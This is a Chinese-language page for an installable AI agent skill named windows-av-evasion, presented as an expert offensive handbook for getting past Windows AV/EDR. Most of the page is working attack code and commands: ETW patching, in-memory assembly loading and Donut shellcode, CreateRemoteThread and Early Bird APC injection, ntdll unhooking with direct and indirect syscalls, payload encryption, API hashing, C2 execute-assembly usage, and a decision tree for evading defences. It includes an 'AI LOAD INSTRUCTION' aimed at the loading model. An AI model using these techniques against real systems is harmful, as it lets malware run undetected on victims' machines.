关于 windows-av-evasion
面向 Windows 安全研究的 AV/EDR 规避技能指南,汇总 AMSI、ETW、程序集加载、进程注入及载荷混淆等技术,供分析防护机制与测试场景参考。
主要功能
- 01AMSI 与 ETW 绕过方法
- 02.NET 程序集内存加载
- 03Shellcode 执行与进程注入
- 04API hook 移除与直接系统调用
- 05载荷加密、混淆与签名规避
适用场景
- 01分析 Windows 防护机制的覆盖范围
- 02研究授权测试中的检测触发原因
- 03梳理载荷执行与规避技术类别
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill windows-av-evasion安装后在 Claude Code 中输入/windows-av-evasion确认已加载。
附带文件AMSI_BYPASS_TECHNIQUES.md
详细介绍
技能:AV/EDR evasion — 专家攻击手册
AI LOAD INSTRUCTION:适用于 Windows 的专家级 AV/EDR evasion 技术。涵盖 AMSI 绕过、ETW 绕过、.NET 程序集加载、shellcode 执行、进程注入、解除挂钩、payload 加密和签名规避。基础模型会遗漏针对特定检测的绕过链和系统调用级规避的细微之处。
0. 相关路由
深入探查之前,可以考虑加载:
- 当特权提升工具被 AV 阻止时,加载 windows-privilege-escalation
- 当横向移动工具触发 EDR 时,加载 windows-lateral-movement
- 当 Rubeus/Mimikatz 被检测到时,加载 active-directory-kerberos-attacks
- 对于非二进制 AD 攻击(对 AV 的敏感度较低),加载 active-directory-acl-abuse
高级参考
在需要以下内容时,也请加载 AMSI_BYPASS_TECHNIQUES.md:
- 详细的 AMSI 绕过代码模式(内存修补、反射)
- PowerShell 专用的 AMSI 绕过方法
- .NET AMSI 绕过技术
1. AMSI 绕过概述
AMSI(反恶意软件扫描接口)会在运行时检查 PowerShell、.NET、VBScript、JScript 和 Office 宏。
AMSI 绕过的主要类别
| 类别 | 方法 | 检测风险 | 持续时间 |
|---|---|---|---|
| 内存修补 | 修补 amsi.dll 中的 AmsiScanBuffer | 中 | 每个进程 |
| 反射 | 通过 .NET 反射修改 AMSI 初始化标志 | 中 | 每个会话 |
| 字符串混淆 | 编码/拆分触发 AMSI 的字符串 | 低 | 每个 payload |
| PowerShell 降级 | 强制使用 PS v2(无 AMSI) | 低 | 每个会话 |
| CLM 绕过 | 逃逸受限语言模式 | 中 | 每个会话 |
| COM 劫持 | 重定向 AMSI COM 服务器 | 低 | 每位用户 |
快速 AMSI 绕过(单行命令)
# PowerShell v2 downgrade (if .NET 2.0 available — no AMSI in v2)
powershell -Version 2
# Reflection-based (set amsiInitFailed = true)
# Obfuscated to avoid static detection — see AMSI_BYPASS_TECHNIQUES.md for full patterns
2. ETW 绕过
ETW(Windows 事件跟踪)会向 EDR 提供遥测数据。修补 EtwEventWrite 会阻止 .NET 程序集加载事件。
修补 EtwEventWrite
// C# — patch EtwEventWrite to return immediately
var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Write: ret (0xC3) to first byte
VirtualProtect(etwAddr, 1, 0x40, out uint oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out _);
PowerShell ETW 绕过
# Disable Script Block Logging (ETW provider)
[Reflection.Assembly]::LoadWithPartialName('System.Management.Automation')
# Set internal field to disable ETW tracing
3. .NET 程序集加载
内存中的 Assembly.Load
byte[] assemblyBytes = File.ReadAllBytes("tool.exe");
// Or download from URL, decrypt from resource
Assembly assembly = Assembly.Load(assemblyBytes);
assembly.EntryPoint.Invoke(null, new object[] { args });
Donut — 将 .NET 程序集转换为 Shellcode
# Generate shellcode from .NET EXE
donut -f tool.exe -o payload.bin -a 2 -c ToolNamespace.Program -m Main
# With parameters
donut -f Rubeus.exe -o rubeus.bin -a 2 -p "kerberoast /outfile:tgs.txt"
# Then load shellcode via any injection technique (§5)
execute-assembly(C2 框架)
# Cobalt Strike
execute-assembly /path/to/Rubeus.exe kerberoast
# Sliver
execute-assembly /path/to/SharpHound.exe -c all
# Havoc
dotnet inline-execute /path/to/tool.exe args
4. Shellcode 执行技术
VirtualAlloc + 回调(避免使用 CreateThread)
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
Marshal.Copy(sc, 0, addr, sc.Length);
// Use callback API instead of CreateThread (less monitored)
EnumWindows(addr, IntPtr.Zero);
用于执行 shellcode 的回调 API:EnumWindows、EnumChildWindows、EnumFonts、EnumDesktops、CertEnumSystemStore、EnumDateFormats — 这些 API 都接受函数指针,可将其指向 shellcode。
5. 进程注入技术
| 技术 | 使用的 API | 检测风险 | 备注 |
|---|---|---|---|
| CreateRemoteThread | OpenProcess、VirtualAllocEx、WriteProcessMemory、CreateRemoteThread | 高 | 经典方法,受到严密监控 |
| NtMapViewOfSection | NtCreateSection、NtMapViewOfSection | 中 | 共享内存,较少见 |
| 进程空洞化 | CreateProcess(SUSPENDED)、NtUnmapViewOfSection、WriteProcessMemory、ResumeThread | 中 | 替换进程映像 |
| 线程劫持 | SuspendThread、SetThreadContext、ResumeThread | 中 | 修改现有线程 |
| Early Bird | CreateProcess(SUSPENDED)、QueueUserAPC、ResumeThread | 低到中 | 在主线程启动前执行 APC |
| 幻影 DLL 空洞化 | 映射 DLL 区段,使用 shellcode 覆盖 | 低 | 使用合法 DLL 映射 |
| 模块踩踏 | LoadLibrary,覆盖 .text 区段 | 低 | 由合法 DLL 提供支持 |
| 事务式空洞化 | NtCreateTransaction、NtCreateSection | 低 | 不进行可疑分配 |
CreateRemoteThread(基本模式)
IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetPid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(hProcess, addr, sc, (uint)sc.Length, out _);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
Early Bird APC 注入
// Create suspended process
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ..., ref si, ref pi);
// Allocate and write shellcode
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(pi.hProcess, addr, sc, (uint)sc.Length, out _);
// Queue APC to main thread (runs before main entry point)
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);
6. 解除挂钩 — 绕过 EDR API 挂钩
直接系统调用(SysWhispers / HellsGate)
EDR 会挂钩 ntdll.dll 函数。直接系统调用通过直接调用内核来绕过挂钩。
Normal: User code → ntdll.dll (HOOKED) → kernel
Direct: User code → syscall instruction → kernel (bypasses hook)
| 工具 | 方法 | 说明 |
|---|---|---|
| SysWhispers2/3 | 编译时生成系统调用桩 | 静态系统调用编号 |
| HellsGate | 运行时解析系统调用编号 | 动态解析,更难检测 |
| HalosGate | 从相邻的未挂钩系统调用中解析 | 可应对部分挂钩 |
| TartarusGate | 扩展版 HalosGate | 解析更稳健 |
全新 ntdll 副本
// Read clean ntdll.dll from disk
byte[] cleanNtdll = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll");
// Or from KnownDlls: \KnownDlls\ntdll.dll
// Or from suspended process (create sacrificial process, read its ntdll)
// Overwrite hooked .text section with clean copy
// → All EDR hooks in ntdll are removed
间接系统调用
// Instead of: syscall (in your code — suspicious)
// Do: jump to syscall instruction inside ntdll.dll (legitimate location)
// The ret address on stack points to ntdll.dll, not your code
7. 载荷加密与混淆
加密方法
// AES encryption (preferred)
using Aes aes = Aes.Create();
aes.Key = key; aes.IV = iv;
byte[] encrypted = aes.CreateEncryptor().TransformFinalBlock(shellcode, 0, shellcode.Length);
// XOR (simple, fast)
for (int i = 0; i < shellcode.Length; i++)
shellcode[i] ^= key[i % key.Length];
// RC4 (stream cipher, simple implementation)
休眠混淆
在休眠期间加密内存中的 shellcode,以避开内存扫描器。
| 技术 | 方法 |
|---|---|
| Ekko | ROP 链 → 在休眠期间加密堆/栈 |
| Foliage | 基于 APC 的休眠,并加密内存 |
| DeathSleep | 在休眠期间注销线程 |
分阶段加载
Stage 1: Small, encrypted loader (evades static analysis)
Stage 2: Download actual payload at runtime (encrypted)
Stage 3: Decrypt in memory → execute
8. 特征码规避
字符串加密
// Avoid plaintext API names, URLs, tool names
// Use encrypted strings, decrypt at runtime
string decrypted = Decrypt(encryptedApiName);
IntPtr funcPtr = GetProcAddress(GetModuleHandle("kernel32.dll"), decrypted);
API 哈希
// Resolve API by hash instead of name (avoids string detection)
// Hash "VirtualAlloc" → 0x91AFCA54
IntPtr func = GetProcAddressByHash(module, 0x91AFCA54);
元数据移除
# Strip .NET metadata
ConfuserEx / .NET Reactor / Obfuscar
# Remove PE metadata (timestamps, rich header, debug info)
# Modify compilation timestamps
# Strip PDB paths
C2 框架规避
| 框架 | 主要规避特性 |
|---|---|
| Cobalt Strike | Malleable C2 配置文件、HTTP/S 流量整形、休眠抖动、PE 规避 |
| Sliver | 多种协议(mTLS、WireGuard、DNS)、无需预加载器、内置混淆 |
| Havoc | 间接系统调用、休眠混淆、模块踩踏 |
| Brute Ratel | Badger Agent、系统调用规避、内置 ETW/AMSI 绕过 |
9. AV/EDR 规避决策树
Need to execute tool/payload on protected host
│
├── PowerShell-based payload?
│ ├── AMSI blocking? → AMSI bypass first (§1)
│ │ ├── .NET 2.0 available? → PS v2 downgrade (no AMSI)
│ │ ├── Memory patch AmsiScanBuffer
│ │ └── Reflection-based bypass
│ ├── Script Block Logging? → ETW bypass (§2)
│ └── Constrained Language Mode? → CLM bypass or switch to C#
│
├── .NET assembly (Rubeus, SharpHound, etc.)?
│ ├── Direct execution blocked?
│ │ ├── In-memory Assembly.Load (§3)
│ │ ├── Convert to shellcode with Donut (§3)
│ │ └── Use C2 execute-assembly (§3)
│ └── Still detected?
│ ├── Obfuscate assembly (ConfuserEx)
│ ├── Modify source + recompile
│ └── Use BOFs (Beacon Object Files) if CS
│
├── Shellcode execution needed?
│ ├── Basic → VirtualAlloc + callback (§4)
│ ├── Need injection → choose technique by OPSEC (§5)
│ │ ├── Low detection needed → module stomping or phantom DLL
│ │ ├── Medium → early bird APC or NtMapViewOfSection
│ │ └── Quick and dirty → CreateRemoteThread
│ └── Memory scanners detect payload?
│ ├── Encrypt payload → decrypt only at execution (§7)
│ └── Sleep obfuscation (Ekko/Foliage) (§7)
│
├── EDR hooking ntdll.dll?
│ ├── Direct syscalls (SysWhispers3/HellsGate) (§6)
│ ├── Fresh ntdll copy from disk/KnownDlls (§6)
│ └── Indirect syscalls (return to ntdll instruction) (§6)
│
├── Signature detection?
│ ├── Known tool signature → modify + recompile
│ ├── String-based → string encryption / API hashing (§8)
│ ├── PE metadata → strip/modify (§8)
│ └── Behavioral → change execution flow, add junk code
│
└── All local evasion fails?
├── Use Living-off-the-Land (LOLBins): certutil, mshta, regsvr32
├── Use legitimate admin tools (PsExec, WMI, WinRM)
└── Switch to fileless / memory-only techniques
评论
支持 Markdown